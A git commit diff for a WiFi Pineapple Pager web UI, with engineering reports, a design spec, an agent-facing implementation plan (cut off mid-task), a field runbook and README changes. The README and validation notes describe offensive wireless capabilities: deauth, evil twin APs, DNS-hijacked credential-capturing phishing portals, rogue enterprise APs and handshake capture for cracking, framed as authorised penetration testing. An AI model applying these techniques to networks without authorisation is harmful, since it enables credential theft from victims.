feat(webui,dashboard): add RAM Usage card between Disk Usage and Uptime, live-verified on Pager

- portals: replace zipfile with struct+zlib ZIP writer in portal download
  (python3-light has no zipfile; GET /api/portals/<name>/download 500ed)
- capture: revive watchdog re-arms the 5 GHz deploy auto-capture if the
  post-deploy radio settle kills it (was: empty pcap, dead tcpdump)
- capture: route GET /api/attacks/capture to status (was unrouted -> 404)

New tests/test_validation_fixes2.py covers each fix (TDD); full suite
(30 modules) green. Live-verified: download CRC-clean via stock zipfile,
capture survived settle window and revived automatically (56 MB pcap),
GET status returns proper JSON.

Round-2 validation report added at docs/validation/ (8/9 attack types
PASS against in-scope networks; enterprise PARTIAL per firmware limits).

.gitignore

@@ -6,3 +6,4 @@ __pycache__/
 .openchamber/
 .opencode/
 
+evidence/

.superpowers/sdd/task-1-report.md

@@ -0,0 +1,143 @@
+# Task 1 Report: Cached OUI Identity Resolution
+
+## Status
+
+Implemented and verified cached local OUI identity resolution while preserving the existing `oui_vendor()` behavior and unrelated unstaged HTML report changes.
+
+## Checklist
+
+- [x] Added failing resolver tests before production changes.
+- [x] Verified the tests failed because `OUI_DATA_PATHS` and `oui_identity()` were absent.
+- [x] Added Nmap and macchanger data paths.
+- [x] Added a lazy process-level identity cache.
+- [x] Added local database parsing for plain and separated OUI prefixes.
+- [x] Preserved Nmap precedence over macchanger and built-in fallback.
+- [x] Added local/randomized and unknown identities.
+- [x] Returned JSON-safe dictionaries with `manufacturer`, `model`, `oui`, and `source`.
+- [x] Kept `model` as `None` for every source.
+- [x] Preserved `oui_vendor()` behavior.
+- [x] Ran focused and regression tests.
+- [x] Self-reviewed the diff and checked whitespace.
+
+## TDD Evidence
+
+Initial command:
+
+```text
+python3 -m unittest tests.test_recon.OuiVendorTest -v
+```
+
+Initial result before implementation:
+
+```text
+Ran 8 tests in 0.005s
+
+FAILED (errors=3)
+```
+
+All three new identity tests errored at `mock.patch.object(server, 'OUI_DATA_PATHS', ...)` with:
+
+```text
+AttributeError: <module 'server' ...> does not have the attribute 'OUI_DATA_PATHS'
+```
+
+After the minimal implementation, the focused resolver test result was:
+
+```text
+python3 -m unittest tests.test_recon.OuiVendorTest -v
+
+Ran 9 tests in 0.005s
+
+OK
+```
+
+## Final Verification
+
+Command:
+
+```text
+python3 -m unittest tests.test_recon.DecodersTest -v
+```
+
+Output:
+
+```text
+test_decode_encryption_cases (tests.test_recon.DecodersTest.test_decode_encryption_cases) ... ok
+test_decode_ssid_bytes_and_str (tests.test_recon.DecodersTest.test_decode_ssid_bytes_and_str) ... ok
+test_decode_ssid_cli_escapes (tests.test_recon.DecodersTest.test_decode_ssid_cli_escapes) ... ok
+test_fmt_mac_colon_form (tests.test_recon.DecodersTest.test_fmt_mac_colon_form) ... ok
+test_fmt_mac_noop (tests.test_recon.DecodersTest.test_fmt_mac_noop) ... ok
+test_norm_mac_12hex (tests.test_recon.DecodersTest.test_norm_mac_12hex) ... ok
+
+----------------------------------------------------------------------
+Ran 6 tests in 0.005s
+
+OK
+```
+
+Command:
+
+```text
+python3 -m unittest tests.test_recon -v
+```
+
+Output summary:
+
+```text
+----------------------------------------------------------------------
+Ran 119 tests in 0.681s
+
+OK
+```
+
+All 119 individual tests printed `... ok`; there were no failures, errors, or warnings.
+
+Command:
+
+```text
+git diff --check
+```
+
+Output: no output; exit status 0.
+
+## Self-Review
+
+- Local/randomized detection occurs before cache loading, avoiding unnecessary file access.
+- Cache precedence follows path order and never overwrites an earlier prefix.
+- Missing files are skipped without masking parsing or programming errors.
+- Unknown and invalid MACs return JSON-safe values.
+- `AA` was not used as the unknown global test prefix because its locally administered bit is set; `AC` correctly represents a globally administered unknown prefix.
+- Existing unstaged HTML signal-ordering changes in `server.py` and `tests/test_recon.py` are intentionally excluded from the Task 1 commit.
+
+## Concerns
+
+None. Database source labels rely on the specified two-entry `OUI_DATA_PATHS` ordering.
+
+## Live Path Correction
+
+The committed Task 1 diff used `/usr/share/macchanger/OUI.list`, but the design
+specification and live macchanger package use
+`/usr/share/macchanger/wireless.list`. Updated `OUI_DATA_PATHS` to the required
+live path. Resolver tests patch `OUI_DATA_PATHS`, so no test changes were needed.
+
+Verification after the correction:
+
+```text
+python3 -m unittest tests.test_recon.OuiVendorTest -v
+
+Ran 9 tests in 0.005s
+
+OK
+```
+
+```text
+python3 -m unittest tests.test_recon -v
+
+Ran 119 tests in 0.498s
+
+OK
+```
+
+The unrelated unstaged HTML signal-ordering changes in `server.py` and
+`tests/test_recon.py`, plus untracked loot and certificate files, remain
+excluded from this correction.

.superpowers/sdd/task-2-report.md

@@ -0,0 +1,25 @@
+# Task 2 Report: Enrich Scan Associations and APs
+
+## Status
+
+Implemented and verified. The Task 2 changes are committed as `feat: associate recon clients with confirmed networks`.
+
+## Changes
+
+- Added scan-scoped handshake and optional `hostap_client` evidence queries.
+- Added deterministic association deduplication keyed by client, BSSID, and SSID.
+- Kept directed probe (`ssid.type = 5`) records out of associations.
+- Added AP `device_identity`, `clients`, and unique `client_count` fields.
+- Added client `vendor` and `associations` fields, including empty associations for unassociated clients.
+- Preserved SSID-only `hostap_client` evidence without assigning a BSSID.
+- Added fixture coverage for duplicate evidence, a second AP/client pair, directed probes, missing optional tables, identity fields, and timestamps.
+
+## Verification
+
+- Focused tests: `python3 -m unittest tests.test_recon.ReconDataTest -v` -> 7/7 passed.
+- Complete Recon tests: `python3 -m unittest tests.test_recon -v` -> 121/121 passed.
+- Diff validation: `git diff --check` -> clean.
+
+## Concerns
+
+- The working tree contains pre-existing unstaged HTML report signal-order changes and untracked `loot/` and certificate files; these were intentionally preserved and excluded from the Task 2 commit.

README.md

@@ -6,7 +6,9 @@ A Mark VII-style web management UI that runs **on the WiFi Pineapple Pager** at
 Features: Dashboard (live), PineAP (settings, SSID pool, filters, clients/kick),
 Recon (scans from `recon.db`), Handshakes/Loot, Payloads (embedded stock Pager
 Portal), Logs, Settings (hostname/NTP/password/prefs), and a bottom-docked xterm
-terminal.
+terminal. Recon AP focus offers bulk deauth; an Evil Portal tab imports Hak5
+EvilPortalNano-format portals (`kleo/evilportals` compatible), serves them to
+victims via DNS hijack on port 80, and captures form credentials.
 
 - Rogue AP on the second radio (5GHz / 6GHz Wi-Fi 6E): Open AP and Evil WPA
   (WPA2-PSK/WPA3-SAE/WPA3-OWE) on `radio1`, band-aware channel pickers,
@@ -16,7 +18,7 @@ terminal.
 ## Requirements
 
 - WiFi Pineapple Pager, firmware `Pineapple Pager 24.10.1`
-- `python3` on the device (present on current firmware)
+- `python3` on the device (factory 24.10.1 may not ship it; `scripts/deploy.sh` installs OpenWrt `python3-light` from offline ipks)
 - Python 3.11 on the development machine
 
 ## Install (sideload)
@@ -51,6 +53,15 @@ Then on the Pager menu, run **Mark VIII**:
 - Re-run the payload while running to **Stop** the service.
 - `PAYLOAD_GET_CONFIG pager_webui auto_mode/run_mode` skip the prompt.
 
+Every payload run (and every service startup) first runs an **environment
+check** that prints on the payload screen / `/tmp/pagerwebui.log`: daemon
+reachable, pineapd alive, monitor interfaces up, and recon DB readable. On a
+healthy pager it **does not rewrite** live PineAP or wireless UCI (SSID pool,
+hopping, dummy_radio0 STA, Open AP). Crash-prone settings are reported as
+warnings. Startup aborts only if a core dependency fails. The health monitor
+will restart a dead pineapd and re-raise dropped monitors; it will not clear
+the SSID list or disable pool broadcast.
+
 Browse `http://172.16.52.1:8080/` and log in with the device password.
 
 ## Uninstall / recovery
@@ -102,6 +113,44 @@ terminal I/O, and reboot persistence.
 
 ## Stability notes (Pager 24.10.1)
 
+### Reliability Core (v1.4.0)
+
+The factory `/etc/config/pineapd` ships every crash source below enabled, so
+guards that only live inside Mark VIII revert on every reset/upgrade. v1.4.0
+makes the fixes structural (payload-only — no firmware changes):
+
+- **Boot guard** (`mk8-guard`, START=49): enforces the known-good UCI set
+  before the S50 pineapple stack starts; idempotent, diff-only commits,
+  logged to `/tmp/mk8-guard.log` and the event journal.
+- **Profiles + rollback watchdogs**: every risky operation (AP deploy,
+  client-mode change, profile restore) first snapshots UCI under
+  `/mmc/mk8/profiles/`, then spawns a detached watchdog probing *local*
+  liveness (`127.0.0.1:8080` + monitor presence). Sustained failure →
+  automatic snapshot restore + `wifi reload`; recovery → promotes
+  `lastknown-good`. Watchdogs self-exit after 120 quiet ticks.
+- **RF plan**: phy0 is always 2.4GHz ops; phy1 role-switches
+  uplink/attack/idle (`POST /api/rfplan/role`). The uplink STA lives on
+  radio1, so client-mode no longer blinds 2.4GHz recon. Hop governance
+  belongs to the role manager, not the boot guard.
+- **Supervisor**: passive sampler (pidof/iw//proc only — never pineapd's
+  socket), bounded JSONL journal at `/mmc/mk8/events.log`, boot-marker
+  unexpected-reboot detection, memory watermark alerts. Dashboard shows
+  events feed + reliability counters + guard sync chip.
+- **Atomic deploys**: `scripts/deploy.sh` stamps `VERSION` into build
+  copies only, sha256-verifies the upload, swaps `/mmc/mk8/releases/<ts>`
+  with a `current` symlink, polls local health, and auto-rolls back to the
+  previous release on failure.
+- **Smoke suite**: `scripts/smoke.sh` on-device (read-only checks always;
+  `--write` adds reconcile/watchdog drills; `SMOKE_UPLINK_SSID=...` enables
+  the RF-role drill). All checks verified against live hardware including
+  reboot persistence.
+
+Persistent state lives in `/mmc/mk8/` and survives reboots *and* firmware
+upgrades (overlay wipes). A pre-reliability config backup is captured at
+first deploy.
+
+### pineapd crash sources found and fixed on this firmware
+
 pineapd crash sources found and fixed on this firmware (verified on-device,
 zero crashes over sustained watches):
 
@@ -120,6 +169,34 @@ zero crashes over sustained watches):
 `GET /api/health` reports pineapd/monitor state; the top bar shows a
 PINEAP OK / POOL OFF / PINEAPD DOWN chip.
 
+### Live validation findings (v1.4.x, Pager 24.10.1)
+
+Fixed after an on-hardware attack validation pass:
+
+1. **Evil Portal import** no longer uses `zipfile` (pulls
+   `pathlib → urllib`, absent from python3-light). A minimal
+   `struct`+`zlib` ZIP reader handles stored/deflate entries.
+2. **Portal DNS hijack** now uses `uci add_list/del_list`
+   (`dhcp.@dnsmasq[0].address` is a list option; a plain `uci set` was
+   silently dropped from the generated dnsmasq config).
+3. **5 GHz attack APs are bridged** into `br-lan`
+   (`network.brlan.ports`) so victims get DHCP/portal reach; the
+   standalone enterprise AP (`wlan1ent`) is runtime-bridged after its
+   hostapd instance verifies ENABLED (the retry loop may recreate it).
+4. **5 GHz WPA deploys auto-start a pinned `wlan1mon` capture** and the
+   matching stop tears it down: loot flows via pcap → `.hc22000` export
+   instead of the dead daemon path below.
+
+Residual firmware limitation (not fixable in-process): pineapd refuses
+handshake/PineAPE forwarding from hostapd instances it did not provision
+itself (`PINEAP: could not send ... Broken pipe`), and the stock daemon's
+`set_ap` rejects radio1 interface names ("Invalid access point
+interface"). Consequences: `hostap_handshake` rows never populate for
+radio1 evil twins (use the auto-capture + `.hc22000` export, which is
+crack-verified end-to-end), and enterprise credentials never reach
+`hostap_basic`/`hostap_chalresp` even though the AP terminates
+PEAP/MSCHAPv2 successfully. Fixing these requires a Hak5 pineapd change.
+
 ## Security notes
 
 - Auth via device password validated against the daemon; HttpOnly session

VERSION

@@ -0,0 +1 @@
+1.4.0

docs/RUNBOOK.md

@@ -0,0 +1,93 @@
+# Mark VIII Field Runbook
+
+Operational procedures for running Mark VIII v1.4.0+ on a WiFi Pineapple
+Pager. The reliability subsystem is documented in the README; this file is
+the how-to-run-it companion.
+
+## Pre-engagement checklist (2 minutes)
+
+From the Dashboard health panel (or `scripts/smoke.sh` over SSH):
+
+- [ ] Health chip green; guard chip shows `GUARD OK` (not PENDING).
+- [ ] Both monitors present (`wlan0mon`, `wlan1mon`).
+- [ ] Reliability counters sane: no unexpected boots since last check;
+      rollbacks/restarts at expected values.
+- [ ] Recent events feed shows a clean `boot` entry for this session.
+- [ ] RF plan as intended: `PHY0: OPS`, `PHY1:` in the state you want.
+
+If anything fails: run `sh /tmp/smoke.sh` (re-upload via
+`scp scripts/smoke.sh root@<ip>:/tmp/` if tmpfs was cleared) and read
+which check fails before deploying to a target environment.
+
+## During an engagement
+
+- **Prefer phy1 for any uplink** (`POST /api/rfplan/role {"role":"uplink",
+  "ssid":...,"psk":...}`). phy0 stays fully hoppable for 2.4 GHz work.
+  Expect 5 GHz recon limited to the uplink's channel while associated.
+- **Switching back**: `{"role":"attack"}` tears the STA down with a gated
+  reload; verify the RF chip flips and wlan1mon hops again.
+- **Watch the events feed.** Occasional `guard_fix` entries are the
+  supervisor healing stock-daemon regressions (STA re-parks, UCI
+  re-applies) — normal. A stream of them means the stock UI is fighting
+  you: stop touching the stock PineAP page mid-engagement.
+- **Rollback watchdogs** arm around risky operations. If the web UI dies
+  after an operation, wait ~60 s: the watchdog restores the pre-op snapshot
+  automatically or promotes the change once healthy. Do NOT power-cycle
+  before that window passes.
+- **Never** hand-edit `/etc/config/pineapd` mid-engagement; use Mark VIII
+  endpoints. Hand edits race the stock daemon and the reconciler.
+
+## After an engagement
+
+1. Stop attacks and switch phy1 to `idle`.
+2. Export loot (Handshakes export, HTML/CSV reports). Loot lives under
+   `/root/loot/**` and survives reboots — pull it off-box anyway.
+3. Save a profile (Settings → Reliability), e.g. `post-<site>-<date>`.
+4. Skim events for `rollback` / `mem_warn` entries worth noting.
+
+## Recovery procedures
+
+### Web UI unreachable but device seems alive
+
+Wait 60 s — a rollback watchdog may be mid-restore. Then SSH:
+
+    curl -fsS http://127.0.0.1:8080/ >/dev/null && echo up
+
+If still down, check whether a watchdog is running (`ps | grep watchdog`)
+and let it finish; if it already rolled back but the UI did not return,
+restart the service: `/etc/init.d/pagerwebui start`.
+
+### Roll everything back to a known-good state
+
+Settings → Reliability → restore `lastknown-good` (auto-captured whenever
+the system has been healthy for 5 minutes), or over SSH:
+
+    python3 /mmc/mk8/releases/current/user/remote_access/pager-webui/server.py \
+        --rollback-snapshot lastknown-good
+
+### After a firmware upgrade or factory reset
+
+The overlay is wiped; Mark VIII is gone but `/mmc/mk8/` (profiles,
+journal, releases) survives. Reinstall:
+
+    ./scripts/deploy.sh --password '<device password>'
+
+The deploy re-installs mk8-guard + service from your release; profiles and
+history are still there. Verify with `sh /tmp/smoke.sh`.
+
+### Device totally unreachable
+
+Power cycle. On boot, mk8-guard re-applies safe PineAP UCI before pineapd
+starts, so the device comes back crash-free even if the stock daemon had
+been left in a bad state. If SSH is still refused after full boot, use the
+Hak5 first-boot recovery for the firmware image you are on.
+
+## Known limitations
+
+- Role drill in smoke needs a real AP: `SMOKE_UPLINK_SSID=... [--write]`.
+- While phy1 carries an uplink, 5 GHz recon sees only that channel
+  (radio physics, not a bug).
+- Idle monitors park on one channel between scans; hopping resumes during
+  recon scans (verified: ch48 -> ch157 -> ch40).
+- Journal is capped at 4 x 5 MB on /mmc; counters read the newest ~5000
+  entries.

docs/specs/2026-08-24-ram-usage-card-design.md

@@ -0,0 +1,59 @@
+# Dashboard RAM Usage Card — Design Record
+
+- **Date:** 2026-08-24
+- **Status:** Approved (design review), implementation pending
+- **Scope:** Mark VIII WebUI dashboard — add a RAM Usage status card between
+  Disk Usage and Uptime, showing memory used / total in the same format as the
+  Disk Usage card.
+
+## 1. Goal
+
+The dashboard (`/` → Dashboard) currently shows status cards for Clients
+Connected, Handshakes Captured, Disk Usage, and Uptime. Add a RAM Usage card
+positioned after Disk Usage and before Uptime, displaying `used / total` (e.g.
+`120 MB / 256 MB`) to match the Disk Usage card's presentation. The Pager is a
+`ramips/mt76x8` device with 256 MB RAM.
+
+## 2. Data source
+
+The device's memory stats come from `/proc/meminfo` (available locally, since
+the webui server runs on the Pager):
+
+- `MemTotal` — total RAM in kB
+- `MemAvailable` — available RAM in kB (falls back to `MemFree`)
+
+`used = MemTotal - MemAvailable`, matching how `free` reports usage on OpenWRT.
+
+The health check already parses this file via `_mem_percent()` (`server.py`)
+but only exposes a percentage. The status endpoint has no memory field today.
+
+## 3. Changes
+
+### Backend — `payload/user/remote_access/pager-webui/server.py`
+
+- Add `mem_data()`: parse `/proc/meminfo`, return
+  `{'size': total_bytes, 'used': used_bytes, 'avail': avail_bytes}` — the same
+  shape as `disk_data()` (which returns `{size, used, avail}` in bytes).
+  Return `{}` on parse failure, consistent with `disk_data()`.
+- Wire into `status_data()` as `'mem': mem_data()`.
+
+### Frontend — `payload/user/remote_access/pager-webui/www/js/views.js`
+
+- Add `['mem', 'RAM Usage']` to the card `defs` array between
+  `['disk', 'Disk Usage']` and `['uptime', 'Uptime']` (dashboard view).
+- In the status `update()` handler, render
+  `fmtBytes(s.mem.used) + ' / ' + fmtBytes(s.mem.size)`; on missing data show
+  `Unavailable`; in the initial-load catch path set `—`, mirroring the disk
+  card's error handling.
+
+### Tests — `tests/test_status.py`
+
+- Add `mem_data()` parse test using a temp fake `/proc/meminfo` file
+  (the function takes an optional path argument, like `battery_data(base)`).
+- Add `mem` to the `h_status` payload-shape key assertion.
+
+## 4. Non-goals
+
+- No memory graph/history — the Clients chart stays as is.
+- No RAM percentage formatting on the card.
+- No changes to the `/api/health` `mem_percent` metric.

docs/superpowers/plans/2026-08-20-recon-reports-enterprise-stability.md

@@ -0,0 +1,365 @@
+# Recon, Reports, Enterprise Certificates, and PineAP Stability Implementation Plan
+
+> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
+
+**Goal:** Make Recon status truthful, enrich offline HTML reports with signal maps, move Handshakes under PineAP, add self-signed Evil Enterprise certificate generation, and contain known `pineapd` crash loops.
+
+**Architecture:** Preserve the existing single-file Python backend and vanilla-JavaScript SPA conventions. Add small pure helpers around existing Recon, report, enterprise, and health boundaries, with backend-generated state replacing frontend inference. Implement each subsystem test-first and deploy only after the complete local suite passes.
+
+**Tech Stack:** Python 3.11 standard library and device `python3-light`, BusyBox/OpenWrt commands, OpenSSL CLI, vanilla JavaScript, inline CSS/SVG, `unittest`.
+
+## Global Constraints
+
+- Support Pineapple Pager firmware `24.10.1` and daemon SHA-256 `e2cf0453d7e7d2e08bf31a242289e480d44649923a5199eed954d73df0cf1da5`.
+- Do not add Python packages, frontend packages, a build system, remote assets, or inline report JavaScript.
+- Do not patch or replace `/usr/sbin/pineapd`.
+- Keep pool broadcast disabled on known affected and unknown builds.
+- Preserve existing authentication, same-origin checks, and API error conventions.
+- Use argv command lists, never shell interpolation, for user-supplied certificate fields.
+- Preserve unrelated worktree changes and do not stage `loot/` or untracked existing certificate files unless a task explicitly requires them.
+
+---
+
+### Task 1: Truthful Recon Coverage State
+
+**Files:**
+- Modify: `payload/user/remote_access/pager-webui/server.py:66-79, 1335-1765`
+- Modify: `payload/user/remote_access/pager-webui/www/js/views.js:1680-1910, 2672-2783`
+- Test: `tests/test_recon.py:165-512`
+- Test: `tests/test_env_check.py:202-324`
+
+**Interfaces:**
+- Produces: `_recon_coverage(iface, active) -> dict` with `state`, `reason`, and `channel`.
+- Produces: scan-state keys `baseline_scan_id`, `scan_id`, `settling_until`, and `result_warning`.
+- Produces: `/api/recon/status` fields `coverage_24`, `scan_id`, and `result_warning`.
+- Consumes: existing `_recon_hopper_preflight`, `_iface_associated`, `_dummy_sta_borrowable`, `recon_scans_data`, and `_recon_scan_state` lock.
+
+- [ ] **Step 1: Add failing backend coverage tests**
+
+Add tests that assert an enabled but unassociated dummy STA is not diagnosed as starvation, a successfully borrowed dummy reports `full`, a failed busy probe reports `current_channel_only` or `pinned` with its observed reason, and hopper interfaces are empty after loop cleanup. Mock `_iface_associated`, `_iface_admin_up`, `_run`, and channel state so each test controls runtime evidence rather than UCI alone.
+
+- [ ] **Step 2: Run the focused coverage tests and verify failure**
+
+Run: `python3 -m unittest tests.test_recon.ReconHopperTest tests.test_env_check.EnvCheckTest -v`
+
+Expected: new assertions fail because status has no `coverage_24` object and completed hopper state retains interfaces.
+
+- [ ] **Step 3: Implement backend coverage state**
+
+Add a pure status helper that reports `idle` when no scan is active, `full` only when `wlan0mon` is in the active hopper, `unavailable` when the monitor is absent/down, and otherwise uses the preflight skip reason/current channel to report `pinned` or `current_channel_only`. Store preflight per-interface outcomes in `_recon_hop_state`; do not derive the result solely from `_sta_uplink_enabled()`.
+
+Clear `_recon_hop_state['ifaces']` in the hopper loop's `finally` block while preserving the last coverage reason long enough for final status polling.
+
+- [ ] **Step 4: Add failing scan identity tests**
+
+Add tests that mock the existing maximum scan ID before start, return a newer row after start, and assert status tracks that exact ID. Add a timeout test using a mocked clock that advances 15 seconds beyond duration and asserts `result_warning` is set instead of selecting the prior scan.
+
+- [ ] **Step 5: Run scan-state tests and verify failure**
+
+Run: `python3 -m unittest tests.test_recon.ReconScanStateTest -v`
+
+Expected: failures because `_recon_scan_state` has no baseline/result identity or settlement state.
+
+- [ ] **Step 6: Implement result association and settlement**
+
+Before native start, query the maximum scan ID. After acceptance, store it as `baseline_scan_id`. During watchdog/status updates, query for the first row with a greater ID and set `scan_id`. At elapsed duration, allow a 15-second settlement window; after it expires without a row, set `result_warning` and end the run. Reset all identity fields on explicit reset/start.
+
+- [ ] **Step 7: Update Recon frontend state**
+
+Render backend `coverage_24` copy instead of the `wlan0Sta && !hop24` fallback. During auto-follow, select `status.scan_id` even when its counts are zero. Show completion only after a tracked result exists, or show the backend result warning after settlement failure. Keep existing styling and ASCII copy.
+
+- [ ] **Step 8: Run Recon and environment tests**
+
+Run: `python3 -m unittest tests.test_recon tests.test_env_check -v`
+
+Expected: PASS.
+
+- [ ] **Step 9: Commit Recon correctness**
+
+```bash
+git add payload/user/remote_access/pager-webui/server.py payload/user/remote_access/pager-webui/www/js/views.js tests/test_recon.py tests/test_env_check.py
+git commit -m "fix: report observed recon coverage and scan results"
+```
+
+---
+
+### Task 2: Firmware-Gated pineapd Containment
+
+**Files:**
+- Modify: `payload/user/remote_access/pager-webui/server.py:4432-4616, 4667-4814, 6982-6992`
+- Modify: `payload/user/remote_access/pager-webui/www/js/app.js:516-546`
+- Modify: `payload/user/remote_access/pager-webui/README.md:112-130`
+- Modify: `README.md:54-61, 112-130`
+- Test: `tests/test_health.py`
+- Test: `tests/test_env_check.py`
+- Test: `tests/test_robustness.py`
+
+**Interfaces:**
+- Produces: `_pineapd_build() -> dict` with `firmware`, `sha256`, and `policy` (`affected` or `unknown`).
+- Produces: `_reconcile_pineapd_safety() -> dict` listing changed keys and errors.
+- Produces: health-state keys `events`, `quarantined`, `stable_since`, `build`, and `last_reconcile`.
+- Produces: `GET /api/health/diagnostics` as a JSON download with no secrets.
+
+- [ ] **Step 1: Add failing build-policy and reconciliation tests**
+
+Test the exact affected firmware/hash pair, an unknown hash, the five required safe UCI values, no unrelated UCI writes, one commit only when values changed, and no command-socket ping. Assert unknown builds are reported but not automatically rewritten.
+
+- [ ] **Step 2: Run focused tests and verify failure**
+
+Run: `python3 -m unittest tests.test_health tests.test_env_check -v`
+
+Expected: failures because build policy and production reconciliation do not exist.
+
+- [ ] **Step 3: Implement build detection and safe reconciliation**
+
+Read firmware through the existing release parser and hash `/usr/sbin/pineapd` with `sha256sum`. Match the exact affected tuple. On affected builds, compare and set only:
+
+```text
+pineapd.@ssidpool[0].disable=1
+pineapd.wlan2mon.disable=1
+pineapd.wlan2mon.hop=0
+pineapd.wlan1mon.bands=5
+pineapd.wlan0mon.bands=2
+```
+
+Commit `pineapd` once if needed. Invoke reconciliation before Mark VIII explicitly starts/restarts the daemon, not continuously while a healthy daemon is running.
+
+- [ ] **Step 4: Add failing circuit-breaker tests**
+
+Use a mocked clock and process/SIGSEGV samples to assert three crashes in two minutes enter quarantine, Mark VIII issues no further restart, five stable minutes clear quarantine, and explicit recovery reruns reconciliation. Add pool tests for preserving 64 entries/4096 bytes and quarantining then clearing data above either limit only during a correlated crash loop.
+
+- [ ] **Step 5: Implement bounded health recovery**
+
+Track timestamped PID/SIGSEGV events in a bounded in-memory list. Enter quarantine at three crashes in 120 seconds. Stop Mark VIII restart calls while quarantined. Clear after 300 stable seconds or explicit recovery. For an oversized pool during the threshold-crossing event, write a timestamped diagnostic copy under `/root/loot/pineapd-diagnostics/`, clear through the existing safe pool command, and make one reconciled restart attempt.
+
+- [ ] **Step 6: Add diagnostics endpoint tests**
+
+Assert the download contains firmware/hash, policy, relevant UCI, monitor state, pool metrics, bounded event history, and health actions. Assert it excludes certificate private-key contents, enterprise secrets, cookies, and daemon binary data.
+
+- [ ] **Step 7: Implement diagnostics and UI health detail**
+
+Register `GET /api/health/diagnostics`. Reuse `Download` with JSON content and attachment naming. Expand `/api/health` with build/quarantine/reconcile data and display concise affected/unknown/quarantined state in the existing top-bar health treatment.
+
+- [ ] **Step 8: Correct stability documentation**
+
+Document automatic affected-build reconciliation, unknown-build behavior, passive checks, thresholds, and diagnostic preservation. Remove claims that normal health checks always clear the pool.
+
+- [ ] **Step 9: Run health, environment, and robustness tests**
+
+Run: `python3 -m unittest tests.test_health tests.test_env_check tests.test_robustness -v`
+
+Expected: PASS.
+
+- [ ] **Step 10: Commit containment changes**
+
+```bash
+git add payload/user/remote_access/pager-webui/server.py payload/user/remote_access/pager-webui/www/js/app.js payload/user/remote_access/pager-webui/README.md README.md tests/test_health.py tests/test_env_check.py tests/test_robustness.py
+git commit -m "fix: contain affected pineapd crash loops"
+```
+
+---
+
+### Task 3: Self-Contained Report Signal Maps
+
+**Files:**
+- Modify: `payload/user/remote_access/pager-webui/server.py:1921-2174`
+- Test: `tests/test_recon.py:991-1191`
+
+**Interfaces:**
+- Produces: `_report_channel_maps(aps) -> str` containing zero or more escaped inline SVG sections.
+- Produces: `_report_channel_map(aps, band) -> str` for one of `2.4`, `5`, or `6`.
+- Consumes: AP dictionaries from `recon_scan_data` and existing `_esc_html`, `band_of`, and report CSS.
+
+- [ ] **Step 1: Add failing report-map tests**
+
+Add representative 2.4, 5, and 6 GHz APs and assert one SVG per populated band, expected labels, all four signal colors, raised-cosine path data, and escaped SSID/vendor metadata inside `<title>`. Assert no `<script>`, remote URL, or malformed SVG for missing channel/frequency.
+
+- [ ] **Step 2: Run report tests and verify failure**
+
+Run: `python3 -m unittest tests.test_recon.ReconReportTest tests.test_recon.ReconArchivesTest -v`
+
+Expected: failures because reports contain occupancy tables but no signal-map SVG.
+
+- [ ] **Step 3: Implement pure SVG helpers**
+
+Port the existing channel-to-frequency, band-range, -100/-30 dBm scaling, +/-10 MHz width, and raised-cosine sampling math to Python. Clamp signal values to the graph range. Generate deterministic `viewBox` SVG with axes, labels, paths, and escaped titles. Omit bands with no plottable APs.
+
+- [ ] **Step 4: Integrate maps and print styling**
+
+Add responsive `.signal-map`, `.map-grid`, axis, and print CSS to `REPORT_CSS`. Insert maps after stat cards and before breakdown tables in `_recon_html_download`. Label live GPS as a report-generation-time fix and preserve archive omission.
+
+- [ ] **Step 5: Run report tests**
+
+Run: `python3 -m unittest tests.test_recon.ReconReportTest tests.test_recon.ReconArchivesTest -v`
+
+Expected: PASS.
+
+- [ ] **Step 6: Commit report maps**
+
+```bash
+git add payload/user/remote_access/pager-webui/server.py tests/test_recon.py
+git commit -m "feat: add signal maps to HTML recon reports"
+```
+
+---
+
+### Task 4: Move Handshakes Under PineAP
+
+**Files:**
+- Modify: `payload/user/remote_access/pager-webui/www/js/app.js:94-99, 411-436`
+- Modify: `payload/user/remote_access/pager-webui/www/js/views.js:330-363, 944-948, 1747-1750, 2905-2908`
+- Test: `tests/test_recon.py`
+
+**Interfaces:**
+- Produces: canonical route `#/pineap/handshakes` rendering `views.recon_handshakes` within `pineapShell`.
+- Preserves: redirect `#/recon/handshakes` to the canonical route.
+
+- [ ] **Step 1: Add failing static route tests**
+
+Assert `PINEAP_TABS` contains `#/pineap/handshakes`, `RECON_TABS` does not contain Handshakes, the router registers the canonical route, the legacy redirect exists, and the Recon card links to the canonical route.
+
+- [ ] **Step 2: Run route tests and verify failure**
+
+Run: `python3 -m unittest tests.test_recon -v`
+
+Expected: new navigation assertions fail.
+
+- [ ] **Step 3: Move the route and shell**
+
+Add Handshakes to `PINEAP_TABS`, remove it from `RECON_TABS`, register `#/pineap/handshakes`, redirect the old hash, update the summary-card link, and render the existing Handshakes body inside `pineapShell(root, '#/pineap/handshakes')` without changing data APIs.
+
+- [ ] **Step 4: Run Recon tests**
+
+Run: `python3 -m unittest tests.test_recon -v`
+
+Expected: PASS.
+
+- [ ] **Step 5: Commit navigation**
+
+```bash
+git add payload/user/remote_access/pager-webui/www/js/app.js payload/user/remote_access/pager-webui/www/js/views.js tests/test_recon.py
+git commit -m "ui: move handshakes into PineAP"
+```
+
+---
+
+### Task 5: Evil Enterprise Self-Signed Certificates
+
+**Files:**
+- Modify: `payload/user/remote_access/pager-webui/server.py:3462-4151, 6673-6683`
+- Modify: `payload/user/remote_access/pager-webui/www/js/views.js:1386-1628`
+- Modify: `payload/user/remote_access/pager-webui/www/css/app.css:501-620`
+- Modify: `payload/user/remote_access/pager-webui/pagerwebui.init:15-25`
+- Test: `tests/test_attacks.py:204-319, 434-455`
+- Test: `tests/test_pineap_enterprise.py`
+
+**Interfaces:**
+- Produces: `_validate_cert_request(fields) -> dict` normalized subject/SAN/validity data or raises `ValueError`.
+- Produces: `_ent_cert_status() -> dict` with validity, subject, SANs, fingerprint, dates, key type/size, and key-match state.
+- Produces: `_generate_ent_certificate(fields) -> dict` with install/restart/rollback result.
+- Produces: `GET /api/pineap/enterprise/certificate` and `POST /api/pineap/enterprise/certificate/generate`.
+
+- [ ] **Step 1: Add failing validation and status tests**
+
+Test country length, control-character rejection, 128-byte subject limits, required common name, 1-3650 validity, no more than 20 SANs, ASCII DNS syntax/253-character limit, and normalization of comma/newline-separated SAN input. Mock OpenSSL status commands and assert private-key content is never returned.
+
+- [ ] **Step 2: Run enterprise tests and verify failure**
+
